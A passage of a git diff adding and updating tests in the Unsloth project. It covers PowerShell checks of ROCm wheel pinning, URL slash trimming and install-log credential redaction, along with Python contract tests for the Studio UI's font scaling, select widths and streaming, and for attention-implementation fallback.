+Check "gfx120x-all pin + 2.11.0+rocm7.13.0 -> not stale" (-not (IsStale "gfx120x-all" "2.11.0+rocm7.13.0"))
+Check "gfx1151 pin + 2.11.0+rocm7.2 (generic) -> stale" (IsStale "gfx1151" "2.11.0+rocm7.2")
+Check "gfx1151 pin + 2.10.0+rocm6.4 -> stale"           (IsStale "gfx1151" "2.10.0+rocm6.4")
+# Non-2.11 gfx pin (gfx110X-all/gfx90a/gfx908): a valid <2.11 wheel is NOT stale.
+Check "gfx110x-all pin + 2.10.0+rocm6.4 -> not stale"  (-not (IsStale "gfx110x-all" "2.10.0+rocm6.4"))
+Check "gfx90a pin + 2.10.0+rocm6.3 -> not stale"       (-not (IsStale "gfx90a" "2.10.0+rocm6.3"))
+Check "gfx908 pin + 2.10.0+rocm7.0 -> not stale"       (-not (IsStale "gfx908" "2.10.0+rocm7.0"))
+Check "gfx110x-all pin + 2.11.0+rocm7.2 -> stale"      (IsStale "gfx110x-all" "2.11.0+rocm7.2")
+# Non-2.11 gfx pin over an untagged wheel: never satisfies the pin -> stale, so the
+# explicit ROCm index is applied even when torch is already <2.11.
+Check "gfx110x-all pin + 2.10.0 (untagged) -> stale"   (IsStale "gfx110x-all" "2.10.0")
+Check "gfx90a pin + 2.10.0 (untagged) -> stale"        (IsStale "gfx90a" "2.10.0")
+# Capital gfx120X-all is lowercased by Get-TorchIndexLeaf before this helper, so the
+# 2.11-allowlist branch fires and a generic/untagged wheel is stale.
+Check "gfx120x-all pin + 2.11.0+rocm7.2 (generic) -> stale" (IsStale "gfx120x-all" "2.11.0+rocm7.2")
+Check "gfx120x-all pin + 2.10.0 (untagged) -> stale"        (IsStale "gfx120x-all" "2.10.0")
+
+# Major-only rocm pin (rocm7): majors compared alone; mirrors _rocm_pin_family_mismatch.
+Check "rocm7 pin + 2.10.0+rocm6.4 -> stale"           (IsStale "rocm7" "2.10.0+rocm6.4")
+Check "rocm7 pin + 2.11.0+rocm7.2 -> not stale"       (-not (IsStale "rocm7" "2.11.0+rocm7.2"))
+Check "rocm7 pin + 2.11.0+rocm7.13.0 -> not stale"    (-not (IsStale "rocm7" "2.11.0+rocm7.13.0"))
+Check "rocm7 pin + 2.10.0 (untagged) -> stale"        (IsStale "rocm7" "2.10.0")
+Check "rocm7 pin + 2.10.0+rocm (unreadable) -> not stale" (-not (IsStale "rocm7" "2.10.0+rocm"))
+
+Write-Host "Test-RocmKnown211Version + KNOWN-2.11 fallback (rocm7.2 only; no speculative rocm7.3)"
+Check "rocm7.2 -> known 2.11"  (Test-RocmKnown211Version -Major 7 -Minor 2)
+Check "rocm7.1 -> not known"   (-not (Test-RocmKnown211Version -Major 7 -Minor 1))
+Check "rocm7.3 -> not known"   (-not (Test-RocmKnown211Version -Major 7 -Minor 3))
+Check "rocm8.0 -> not known"   (-not (Test-RocmKnown211Version -Major 8 -Minor 0))
+# Unreadable-installed fallback: a rocm7.3 pin (unknown -> <2.11 line) over a <2.11 +rocm
+# wheel with an unreadable version is NOT stale; rocm7.2 (KNOWN-2.11) over the same wheel
+# IS stale (#2534 alignment).
+Check "rocm7.3 pin + 2.10.0+rocm (unreadable ver) -> not stale" (-not (IsStale "rocm7.3" "2.10.0+rocm"))
+Check "rocm7.2 pin + 2.10.0+rocm (unreadable ver) -> stale"     (IsStale "rocm7.2" "2.10.0+rocm")
+
+Write-Host ""
+if ($failures -gt 0) { Write-Host "$failures check(s) FAILED" -ForegroundColor Red; exit 1 }
+Write-Host "All checks passed" -ForegroundColor Green
diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 7cfe9bf32c..a833006873 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -17,7 +17,7 @@ from pathlib import Path
 
 
 SOURCE_PATH = Path(__file__).resolve().parents[2] / "studio" / "backend" / "routes" / "inference.py"
-SRC = SOURCE_PATH.read_text()
+SRC = SOURCE_PATH.read_text(encoding = "utf-8")
 _TREE = ast.parse(SRC)
 
 
@@ -166,16 +166,20 @@ def test_chat_completions_streams_avoid_starlette_task_group():
 
 
 def test_openai_passthrough_stream_avoids_starlette_task_group():
-    top = _async_function("_openai_passthrough_stream")
+    functions = [
+        _async_function("_openai_passthrough_stream"),
+        _async_function("_openai_passthrough_stream_admitted"),
+    ]
     legacy_calls = []
     same_task_calls = 0
-    for sub in ast.walk(top):
-        if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
-            continue
-        if sub.func.id == "StreamingResponse":
-            legacy_calls.append(sub.lineno)
-        if sub.func.id == "_SameTaskStreamingResponse":
-            same_task_calls += 1
+    for fn in functions:
+        for sub in ast.walk(fn):
+            if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
+                continue
+            if sub.func.id == "StreamingResponse":
+                legacy_calls.append(sub.lineno)
+            if sub.func.id == "_SameTaskStreamingResponse":
+                same_task_calls += 1
     assert not legacy_calls, (
         "OpenAI passthrough streams must use _SameTaskStreamingResponse, "
         "not Starlette's legacy task-group StreamingResponse. Lines: "
@@ -197,7 +201,7 @@ def test_direct_llama_server_streams_install_disconnect_watcher():
         "openai_completions",
         "_responses_stream",
         "_anthropic_passthrough_stream",
-        "_openai_passthrough_stream",
+        "_openai_passthrough_stream_admitted",
     }
     missing = [
         name
diff --git a/tests/studio/test_studio_gguf_export_script_pin.py b/tests/studio/test_studio_gguf_export_script_pin.py
index 1f7e7adaa4..defd0d49d4 100644
--- a/tests/studio/test_studio_gguf_export_script_pin.py
+++ b/tests/studio/test_studio_gguf_export_script_pin.py
@@ -1,4 +1,4 @@
-"""Studio GGUF export pins convert_hf_to_gguf.py via UNSLOTH_LLAMA_CPP_SCRIPTS_DIR, with a once-per-process warning fallback when unsloth_zoo lacks the local-script resolver."""
+"""Unsloth GGUF export pins convert_hf_to_gguf.py via UNSLOTH_LLAMA_CPP_SCRIPTS_DIR, with a once-per-process warning fallback when unsloth_zoo lacks the local-script resolver."""
 
 from __future__ import annotations
 
diff --git a/tests/studio/test_studio_text_descender_clipping.py b/tests/studio/test_studio_text_descender_clipping.py
index 7cad6cacfe..98fb3b4b13 100644
--- a/tests/studio/test_studio_text_descender_clipping.py
+++ b/tests/studio/test_studio_text_descender_clipping.py
@@ -1,4 +1,4 @@
-"""Regression guard: Studio text spans must not pair `leading-none` with
+"""Regression guard: Unsloth text spans must not pair `leading-none` with
 `truncate`, which clips glyph descenders (g, p, q, y, j) in visible labels.
 """
 
@@ -10,7 +10,14 @@ from pathlib import Path
 
 WORKDIR = Path(__file__).resolve().parents[2]
 MODEL_SELECTOR = (
-    WORKDIR / "studio" / "frontend" / "src" / "components" / "assistant-ui" / "model-selector.tsx"
+    WORKDIR
+    / "studio"
+    / "frontend"
+    / "src"
+    / "features"
+    / "model-picker"
+    / "components"
+    / "model-selector.tsx"
 )
 APP_SIDEBAR = WORKDIR / "studio" / "frontend" / "src" / "components" / "app-sidebar.tsx"
 
@@ -23,7 +30,7 @@ def _read(path: Path) -> str:
 def test_model_selector_trigger_label_uses_leading_tight():
     src = _read(MODEL_SELECTOR)
     pattern = re.compile(
-        r'<span\s+className="[^"]*\bmin-w-0\b[^"]*\bflex-1\b[^"]*\btruncate\b[^"]*\bfont-heading\b[^"]*\btext-\[16px\][^"]*"',
+        r'<span\s+className="[^"]*\bmin-w-0\b[^"]*\bflex-1\b[^"]*\btruncate\b[^"]*\bfont-heading\b[^"]*\btext-ui-16[^"]*"',
     )
     matches = pattern.findall(src)
     assert matches, "could not find ModelSelectorTrigger model-name span"
@@ -34,17 +41,22 @@ def test_model_selector_trigger_label_uses_leading_tight():
 
 def test_sidebar_account_block_uses_leading_tight():
     src = _read(APP_SIDEBAR)
-    # Match the account-block parent div regardless of its gap utility; this
-    # guard is about the leading-* class, not the spacing.
-    pattern = re.compile(
-        r'<div\s+className="flex\s+flex-col\s+gap-\S+\s+(\S+)\s+group-data-\[collapsible=icon\]:hidden">',
-    )
-    matches = pattern.findall(src)
+    class_names = re.findall(r'<div\s+className="([^"]+)"', src)
+    required = {
+        "flex",
+        "flex-1",
+        "flex-col",
+        "group-data-[collapsible=icon]:hidden",
+    }
+    matches = [classes for classes in class_names if required <= set(classes.split())]
     assert matches, "could not find sidebar account-block parent div"
-    leading_classes = [m for m in matches if m.startswith("leading-")]
-    assert leading_classes, f"no leading-* class on sidebar account-block parent: {matches}"
-    for cls in leading_classes:
-        assert cls == "leading-tight", f"sidebar account-block must use leading-tight, got: {cls}"
+    for classes in matches:
+        leading_classes = [cls for cls in classes.split() if cls.startswith("leading-")]
+        assert leading_classes, f"no leading-* class on sidebar account-block parent: {classes}"
+        for cls in leading_classes:
+            assert (
+                cls == "leading-tight"
+            ), f"sidebar account-block must use leading-tight, got: {cls}"
 
 
 def test_no_truncate_plus_leading_none_in_changed_files():
diff --git a/tests/studio/test_torch_flavor.ps1 b/tests/studio/test_torch_flavor.ps1
index 50be4814b0..f2cc55c21c 100644
--- a/tests/studio/test_torch_flavor.ps1
+++ b/tests/studio/test_torch_flavor.ps1
@@ -15,7 +15,7 @@ $tokens = $null; $errors = $null
 $ast = [System.Management.Automation.Language.Parser]::ParseFile($installPath, [ref]$tokens, [ref]$errors)
 if ($errors) { $errors | ForEach-Object { $_.ToString() }; throw "install.ps1 has parse errors" }
 
-foreach ($name in @("ConvertTo-TorchFlavorTag", "Get-ExpectedTorchFlavorTag")) {
+foreach ($name in @("ConvertTo-TorchFlavorTag", "Get-ExpectedTorchFlavorTag", "Trim-IndexPathSlashes", "Redact-InstallOutput")) {
     $fn = $ast.FindAll({ param($n)
         $n -is [System.Management.Automation.Language.FunctionDefinitionAst] -and $n.Name -eq $name
     }, $true)
@@ -49,6 +49,19 @@ Check "mirror cu130 leaf -> cu130"   ((Get-ExpectedTorchFlavorTag -TorchIndexUrl
 Check "unrecognized leaf -> null"    ($null -eq (Get-ExpectedTorchFlavorTag -TorchIndexUrl "https://my.mirror/whl/simple"))
 Check "empty url -> null"            ($null -eq (Get-ExpectedTorchFlavorTag -TorchIndexUrl ""))
 
+Write-Host "Trim-IndexPathSlashes (install.ps1 parity: path-only, token-preserving)"
+Check "double path slash collapsed"      ((Trim-IndexPathSlashes "https://h/whl/cu128//") -eq "https://h/whl/cu128")
+Check "single trailing slash trimmed"    ((Trim-IndexPathSlashes "https://h/whl/cu128/") -eq "https://h/whl/cu128")
+Check "query token slash preserved"      ((Trim-IndexPathSlashes "https://h/whl/cu128?token=ab12cd/") -eq "https://h/whl/cu128?token=ab12cd/")
+Check "path slash trimmed, query kept"   ((Trim-IndexPathSlashes "https://h/whl/cu128//?token=ab12cd/") -eq "https://h/whl/cu128?token=ab12cd/")
+
+Write-Host "Redact-InstallOutput (install.ps1 parity: credential redaction)"
+Check "userinfo redacted"                ((Redact-InstallOutput "ERROR https://alice:s3cr3t@download.pytorch.org/whl/cu128") -eq "ERROR https://<redacted>@download.pytorch.org/whl/cu128")
+Check "query value redacted"             ((Redact-InstallOutput "https://host/whl/cu128?token=abcd1234&channel=beta") -eq "https://host/whl/cu128?token=<redacted>&channel=<redacted>")
+Check "fragment token redacted"          ((Redact-InstallOutput "ERROR https://mirror.local/whl/cu128#token=SECRET123 (403)") -eq "ERROR https://mirror.local/whl/cu128#<redacted> (403)")
+Check "bare hash comment untouched"      ((Redact-InstallOutput "# retrying with --no-cache-dir") -eq "# retrying with --no-cache-dir")
+Check "plain line untouched"             ((Redact-InstallOutput "Resolved 42 packages in 1.2s") -eq "Resolved 42 packages in 1.2s")
+
 Write-Host ""
 if ($failures -gt 0) { Write-Host "$failures check(s) FAILED" -ForegroundColor Red; exit 1 }
 Write-Host "All checks passed" -ForegroundColor Green
diff --git a/tests/studio/test_torch_index_pin_hardening.ps1 b/tests/studio/test_torch_index_pin_hardening.ps1
new file mode 100644
index 0000000000..b8edf3da25
--- /dev/null
+++ b/tests/studio/test_torch_index_pin_hardening.ps1
@@ -0,0 +1,78 @@
+#!/usr/bin/env pwsh
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+# Unit tests for setup.ps1's torch-index pin-hardening helpers: Trim-IndexPathSlashes
+# (path-only slash trim, token-preserving), Redact-InstallOutput (credential redaction of
+# captured install logs), Get-TorchIndexLeaf (ALL trailing slashes stripped) and
+# Test-PipRocmFamilyLeaf (rocm7. is a custom pin, not a family). Pure helpers, AST-extracted
+# and run in-process. Run: pwsh -NoProfile -File tests/studio/test_torch_index_pin_hardening.ps1
+
+$ErrorActionPreference = "Stop"
+$setupPath = [System.IO.Path]::Combine($PSScriptRoot, "..", "..", "studio", "setup.ps1")
+$setupPath = (Resolve-Path $setupPath).Path
+$setupText = Get-Content -Raw $setupPath
+
+# --- Parse setup.ps1 (also a syntax gate) and extract the pure helpers ---
+$tokens = $null; $errors = $null
+$ast = [System.Management.Automation.Language.Parser]::ParseFile($setupPath, [ref]$tokens, [ref]$errors)
+if ($errors) { $errors | ForEach-Object { $_.ToString() }; throw "setup.ps1 has parse errors" }
+
+foreach ($name in @("Trim-IndexPathSlashes", "Redact-InstallOutput", "Get-TorchIndexLeaf", "Test-PipRocmFamilyLeaf")) {
+    $fn = $ast.FindAll({ param($n)
+        $n -is [System.Management.Automation.Language.FunctionDefinitionAst] -and $n.Name -eq $name
+    }, $true)
+    if ($fn.Count -ne 1) { throw "expected exactly one $name in setup.ps1, found $($fn.Count)" }
+    Invoke-Expression $fn[0].Extent.Text
+}
+
+$failures = 0
+function Check($name, $cond) {
+    if ($cond) { Write-Host "  PASS  $name" }
+    else { Write-Host "  FAIL  $name" -ForegroundColor Red; $script:failures++ }
+}
+
+Write-Host "Trim-IndexPathSlashes (path-only, token-preserving)"
+Check "double path slash collapsed"      ((Trim-IndexPathSlashes "https://h/whl/cu128//") -eq "https://h/whl/cu128")
+Check "single trailing slash trimmed"    ((Trim-IndexPathSlashes "https://h/whl/cu128/") -eq "https://h/whl/cu128")
+Check "no slash unchanged"               ((Trim-IndexPathSlashes "https://h/whl/cu128") -eq "https://h/whl/cu128")
+Check "query token slash preserved"      ((Trim-IndexPathSlashes "https://h/whl/cu128?token=ab12cd/") -eq "https://h/whl/cu128?token=ab12cd/")
+Check "path slash trimmed, query kept"   ((Trim-IndexPathSlashes "https://h/whl/cu128//?token=ab12cd/") -eq "https://h/whl/cu128?token=ab12cd/")
+Check "fragment slash preserved"         ((Trim-IndexPathSlashes "https://h/whl/cu128#anchor/") -eq "https://h/whl/cu128#anchor/")
+
+Write-Host "Redact-InstallOutput (credential redaction)"
+Check "userinfo redacted"                ((Redact-InstallOutput "ERROR https://alice:s3cr3t@download.pytorch.org/whl/cu128") -eq "ERROR https://<redacted>@download.pytorch.org/whl/cu128")
+Check "bare-token@ redacted"             ((Redact-InstallOutput "fetch https://ghp_deadbeef@host/whl/cu128 failed") -eq "fetch https://<redacted>@host/whl/cu128 failed")
+Check "single query value redacted"      ((Redact-InstallOutput "url https://host/whl/cu128?token=abcd1234 unreachable") -eq "url https://host/whl/cu128?token=<redacted> unreachable")
+Check "multiple query values redacted"   ((Redact-InstallOutput "https://host/whl/cu128?token=abcd1234&channel=beta") -eq "https://host/whl/cu128?token=<redacted>&channel=<redacted>")
+Check "fragment token redacted"          ((Redact-InstallOutput "ERROR https://mirror.local/whl/cu128#token=SECRET123 (403)") -eq "ERROR https://mirror.local/whl/cu128#<redacted> (403)")
+Check "query and fragment both redacted" ((Redact-InstallOutput "https://host/whl/cu128?token=abc#sig=xyz done") -eq "https://host/whl/cu128?token=<redacted>#<redacted> done")
+Check "bare hash comment untouched"      ((Redact-InstallOutput "# retrying with --no-cache-dir") -eq "# retrying with --no-cache-dir")
+Check "plain line untouched"             ((Redact-InstallOutput "Resolved 42 packages in 1.2s") -eq "Resolved 42 packages in 1.2s")
+$leak = Redact-InstallOutput "https://alice:s3cr3t@host/whl/cu128?token=SUPERSECRET#frag=ALSOSECRET"
+Check "no secret substring survives"     (($leak -notmatch "s3cr3t") -and ($leak -notmatch "SUPERSECRET") -and ($leak -notmatch "ALSOSECRET"))
+
+Write-Host "Get-TorchIndexLeaf (ALL trailing slashes stripped)"
+Check "double slash cu128 -> cu128"      ((Get-TorchIndexLeaf "https://m/whl/cu128//") -eq "cu128")
+Check "triple slash rocm7.2 -> rocm7.2"  ((Get-TorchIndexLeaf "https://m/whl/rocm7.2///") -eq "rocm7.2")
+Check "double slash + token -> cu128"    ((Get-TorchIndexLeaf "https://m/whl/cu128//?token=x") -eq "cu128")
+Check "single slash cu128 -> cu128"      ((Get-TorchIndexLeaf "https://m/whl/cu128/") -eq "cu128")
+
+Write-Host "Test-PipRocmFamilyLeaf (rocm7. is a custom pin, not a family)"
+Check "rocm7 family"                     (Test-PipRocmFamilyLeaf "rocm7")
+Check "rocm7.2 family"                    (Test-PipRocmFamilyLeaf "rocm7.2")
+Check "gfx1151 family"                    (Test-PipRocmFamilyLeaf "gfx1151")
+Check "rocm7. trailing-dot NOT family"   (-not (Test-PipRocmFamilyLeaf "rocm7."))
+Check "rocm.7 leading-dot NOT family"    (-not (Test-PipRocmFamilyLeaf "rocm.7"))
+Check "rocm7.2.1 two-dot NOT family"     (-not (Test-PipRocmFamilyLeaf "rocm7.2.1"))
+Check "rocm7.2-private NOT family"       (-not (Test-PipRocmFamilyLeaf "rocm7.2-private"))
+Check "cu128 NOT family"                 (-not (Test-PipRocmFamilyLeaf "cu128"))
+
+Write-Host "Fast-Install pinned-install env scrub (source assertion)"
+# The pip fallback honours PIP_*; PIP_NO_INDEX=1 would make it ignore the pinned --index-url
+# and PIP_INDEX_URL would replace it, so both must be scrubbed for a pinned install.
+Check "PIP_NO_INDEX scrubbed"            ($setupText -match "'PIP_NO_INDEX'")
+Check "PIP_INDEX_URL scrubbed"           ($setupText -match "'PIP_INDEX_URL'")
+
+Write-Host ""
+if ($failures -gt 0) { Write-Host "$failures check(s) FAILED" -ForegroundColor Red; exit 1 }
+Write-Host "All checks passed" -ForegroundColor Green
diff --git a/tests/studio/test_ui_font_scale_contract.py b/tests/studio/test_ui_font_scale_contract.py
new file mode 100644
index 0000000000..393c60dd6b
--- /dev/null
+++ b/tests/studio/test_ui_font_scale_contract.py
@@ -0,0 +1,145 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""UI font size scaling contracts (Settings > Appearance).
+
+The preference must scale typography through the --ui-font-scale tokens,
+never by mutating the root font size, so rem-based layout stays put. These
+contracts also act as the guard against reintroducing raw pixel typography
+that would silently ignore the preference.
+"""
+
+import re
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+SRC = REPO / "studio/frontend/src"
+INDEX_CSS = (SRC / "index.css").read_text(encoding = "utf-8")
+STORE = (SRC / "features/settings/stores/appearance-custom-store.ts").read_text(encoding = "utf-8")
+SELECT = (SRC / "components/ui/select.tsx").read_text(encoding = "utf-8")
+
+# Raw numeric fontSize props are only allowed where a scaled stylesheet rule
+# (.recharts-text) overrides the presentation attribute at render time.
+FONTSIZE_PROP_ALLOWED_DIRS = (
+    "features/studio/sections/charts",
+    "features/studio/sections/training-section.tsx",
+)
+
+# Non-visible typography that intentionally stays fixed.
+FONTSIZE_STYLE_ALLOWLIST = {
+    # Offscreen textarea; 12pt+ suppresses the iOS focus zoom. Never rendered.
+    "lib/copy-to-clipboard.ts",
+}
+
+
+def _frontend_sources():
+    for path in sorted(SRC.rglob("*")):
+        if path.suffix in {".ts", ".tsx", ".css"}:
+            yield path
+
+
+def test_preference_writes_a_scale_not_the_root_font_size():
+    assert 'setVar("--ui-font-scale"' in STORE
+    assert 'el.setAttribute("data-ui-font-size"' in STORE
+    # Older builds set an inline root font-size; the applier must clear it.
+    assert 'style.removeProperty("font-size")' in STORE
+    assert "style.fontSize" not in STORE
+
+
+def test_named_text_tokens_scale():
+    for token, rem in (
+        ("--text-xs", "0.75rem"),
+        ("--text-sm", "0.875rem"),
+        ("--text-base", "1rem"),
+        ("--text-lg", "1.125rem"),
+    ):
+        assert f"{token}: calc({rem} * var(--ui-font-scale, 1));" in INDEX_CSS
+
+
+def test_numeric_leading_scales_with_the_preference():
+    for n, rem in ((3, "0.75rem"), (5, "1.25rem"), (6, "1.5rem")):
+        assert f"--leading-{n}: calc({rem} * var(--ui-font-scale, 1));" in INDEX_CSS
+
+
+def test_ui_token_families_exist():
+    assert "--text-ui-11: calc(0.6875rem * var(--ui-font-scale, 1));" in INDEX_CSS
+    assert "--text-ui-10p5: calc(0.65625rem * var(--ui-font-scale, 1));" in INDEX_CSS
+    assert "--leading-ui-17: calc(1.0625rem * var(--ui-font-scale, 1));" in INDEX_CSS
+
+
+def test_explicit_code_font_size_is_never_multiplied():
+    match = re.search(r"html\[data-code-font-size\][^{]*\{([^}]*)\}", INDEX_CSS)
+    assert match is not None
+    body = match.group(1)
+    assert "var(--custom-code-font-size)" in body
+    assert "--ui-font-scale" not in body
+
+
+def test_radix_select_viewport_owns_the_scroll_state():
+    viewport = SELECT[SELECT.index("SelectPrimitive.Viewport") :]
+    assert "overflow-y-auto" in viewport.split("</SelectPrimitive.Viewport>")[0]
+    # The rounded surface itself must not scroll (WebKit squares its corners).
+    content_cls = re.search(
+        r"SelectPrimitive\.Content[\s\S]*?className=\{cn\(\s*\"([^\"]+)\"", SELECT
+    )
+    assert content_cls is not None
+    assert "overflow-hidden" in content_cls.group(1)
+    assert "overflow-y-auto" not in content_cls.group(1)
+
+
+def test_no_raw_pixel_text_utilities():
+    offenders = []
+    for path in _frontend_sources():
+        text = path.read_text(encoding = "utf-8")
+        for m in re.finditer(r"(?<![\w-])(?:text|leading)-\[[0-9.]+px\]", text):
+            offenders.append(f"{path.relative_to(SRC)}: {m.group(0)}")
+    assert offenders == [], (
+        "Raw px text utilities ignore the UI font size preference; use the "
+        f"text-ui-* / leading-ui-* tokens in index.css instead: {offenders[:10]}"
+    )
+
+
+def test_css_font_sizes_reference_the_scale():
+    offenders = []
+    for path in _frontend_sources():
+        if path.suffix != ".css":
+            continue
+        text = path.read_text(encoding = "utf-8")
+        for m in re.finditer(r"(font-size|line-height):[^;{}]*;", text):
+            decl = m.group(0)
+            if re.search(r"[0-9.]+(px|rem)", decl) is None:
+                continue  # unitless ratios and vars scale naturally
+            if "--ui-font-scale" in decl:
+                continue
+            if "1px" in decl:
+                continue  # library layout tricks (KaTeX-style), not text
+            offenders.append(f"{path.relative_to(SRC)}: {decl.strip()[:80]}")
+    assert offenders == [], (
+        "CSS typography must multiply by var(--ui-font-scale, 1) or be "
+        f"allowlisted here with a reason: {offenders[:10]}"
+    )
+
+
+def test_inline_font_size_styles_reference_the_scale():
+    offenders = []
+    for path in _frontend_sources():
+        rel = str(path.relative_to(SRC))
+        if rel in FONTSIZE_STYLE_ALLOWLIST:
+            continue
+        text = path.read_text(encoding = "utf-8")
+        for m in re.finditer(r"fontSize:\s*([\"'][^\"']+[\"']|[0-9.]+)", text):
+            value = m.group(1)
+            if "--ui-font-scale" in value:
+                continue
+            if value.replace(".", "").isdigit() and any(
+                rel.startswith(d) for d in FONTSIZE_PROP_ALLOWED_DIRS
+            ):
+                continue  # covered by the .recharts-text override
+            offenders.append(f"{rel}: fontSize {value}")
+        for m in re.finditer(r"fontSize=\{?([0-9.]+)\}?", text):
+            if not any(rel.startswith(d) for d in FONTSIZE_PROP_ALLOWED_DIRS):
+                offenders.append(f"{rel}: fontSize={m.group(1)}")
+    assert offenders == [], (
+        "Inline font sizes must scale with var(--ui-font-scale, 1) or be "
+        f"documented in the allowlist: {offenders[:10]}"
+    )
diff --git a/tests/studio/test_usage_examples_agent_detection_contract.py b/tests/studio/test_usage_examples_agent_detection_contract.py
new file mode 100644
index 0000000000..0dc16f0d30
--- /dev/null
+++ b/tests/studio/test_usage_examples_agent_detection_contract.py
@@ -0,0 +1,21 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Static contract for API usage-example agent detection scope."""
+
+from pathlib import Path
+
+REPO = Path(__file__).resolve().parents[2]
+USAGE_EXAMPLES_TSX = REPO / "studio/frontend/src/features/settings/components/usage-examples.tsx"
+
+
+def test_agent_detection_requires_desktop_scope():
+    src = USAGE_EXAMPLES_TSX.read_text(encoding = "utf-8")
+    assert 'import { isTauri } from "@/lib/api-base"' in src
+    assert "function canUseLocalAgentDetection(base: string): boolean" in src
+    helper = src[src.find("function canUseLocalAgentDetection") : src.find("const SHIKI_THEMES")]
+    assert "if (!isTauri) return false" in helper
+    assert "isLoopbackHost(normalizeHost(new URL(base).hostname))" in helper
+    assert "const localAgentDetection = canUseLocalAgentDetection(base)" in src
+    assert "if (!localAgentDetection)" in src
+    assert "}, [localAgentDetection]);" in src
diff --git a/tests/studio/test_voice_settings_select_width.py b/tests/studio/test_voice_settings_select_width.py
new file mode 100644
index 0000000000..2f657b851e
--- /dev/null
+++ b/tests/studio/test_voice_settings_select_width.py
@@ -0,0 +1,16 @@
+"""Width contract for voice settings selects."""
+
+from pathlib import Path
+
+
+REPO = Path(__file__).resolve().parents[2]
+VOICE_TAB = REPO / "studio/frontend/src/features/settings/tabs/voice-tab.tsx"
+SELECT = REPO / "studio/frontend/src/components/ui/select.tsx"
+
+
+def test_voice_selects_grow_without_overflowing_the_dialog():
+    source = VOICE_TAB.read_text(encoding = "utf-8")
+    assert source.count('className="min-w-56 max-w-72"') == 4
+
+    select_source = SELECT.read_text(encoding = "utf-8")
+    assert "*:data-[slot=select-value]:line-clamp-1" in select_source
diff --git a/tests/test_attn_impl_honor_explicit.py b/tests/test_attn_impl_honor_explicit.py
new file mode 100644
index 0000000000..3fb7a2208f
--- /dev/null
+++ b/tests/test_attn_impl_honor_explicit.py
@@ -0,0 +1,190 @@
+"""An explicit non-flash attention request must survive the flash disable path.
+
+When flash attention is disabled for a model, a caller who explicitly asked for
+"sdpa" or "flex_attention" should keep that choice instead of being downgraded
+to whatever the conservative supports_* fallback would pick.
+"""
+
+import pytest
+
+from unsloth.models._utils import (
+    _disable_flash_attention_if_needed,
+    resolve_attention_implementation,
+)
+
+
+def test_explicit_sdpa_is_honored_even_when_not_marked_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "sdpa",
+        supports_sdpa = False,  # conservative flag would have skipped sdpa
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_explicit_flex_is_honored_when_supported():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+    assert config.get("_attn_implementation") == "flex_attention"
+
+
+def test_explicit_flex_falls_back_when_not_supported():
+    # flex_attention is False for known-broken/excluded configs (e.g. gpt_oss),
+    # so an explicit flex request must not select that backend - it falls back.
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flex_attention",
+        supports_sdpa = True,
+        supports_flex_attention = False,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_synthesized_config_sdpa_is_not_treated_as_explicit():
+    # The language loader seeds the config with attn_implementation="sdpa"; when the
+    # caller passes nothing, that synthesized value must not override the flex fallback
+    # for a model that supports flex but not sdpa.
+    config = {"attn_implementation": "sdpa"}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = None,
+        supports_sdpa = False,
+        supports_flex_attention = True,
+        would_use_flash_attention = False,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "flex_attention"
+
+
+def test_no_disable_reason_returns_request_untouched():
+    result = _disable_flash_attention_if_needed(
+        {},
+        attn_implementation = "flash_attention_2",
+        disable_reason = None,
+    )
+    assert result == "flash_attention_2"
+
+
+def test_flash_request_still_falls_back_when_disabled():
+    config = {}
+    result = _disable_flash_attention_if_needed(
+        config,
+        attn_implementation = "flash_attention_2",
+        supports_sdpa = True,
+        would_use_flash_attention = True,
+        disable_reason = "unit test forces flash disabled",
+    )
+    assert result == "sdpa"
+
+
+def test_resolver_honors_explicit_sdpa_when_not_supported_and_flash_disabled():
+    # End-to-end through the public resolver: an explicit sdpa request with a
+    # flash-disabled config (oversized head dim) and supports_sdpa=False must not be
+    # rewritten to eager by the resolver's own not-supports_sdpa guard.
+    config = {"model_type": "test", "head_dim": 512}  # head_dim > 256 disables flash
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = "sdpa",
+        supports_sdpa = False,
+    )
+    assert result == "sdpa"
+    assert config.get("_attn_implementation") == "sdpa"
+
+
+def test_resolver_downgrades_non_explicit_sdpa_when_not_supported():
+    # No explicit request: the model resolution seeds sdpa/eager and the guard must
+    # still downgrade a synthesized sdpa to eager for a model that cannot run it.
+    config = {"model_type": "test", "attn_implementation": "sdpa"}
+    result = resolve_attention_implementation(
+        model_class = None,
+        config = config,
+        requested_attn_implementation = None,
+        supports_sdpa = False,
+    )
+    assert result == "eager"
+
+
+def test_resolver_downgrades_explicit_sdpa_for_sdpa_excluded_model():
+    # gpt_oss is in _SDPA_EXCLUDED_MODELS (sdpa is known-broken) and _FLASH_EXCLUDED_MODELS
+    # (flash disabled). Honoring an explicit sdpa request must not re-enable that broken
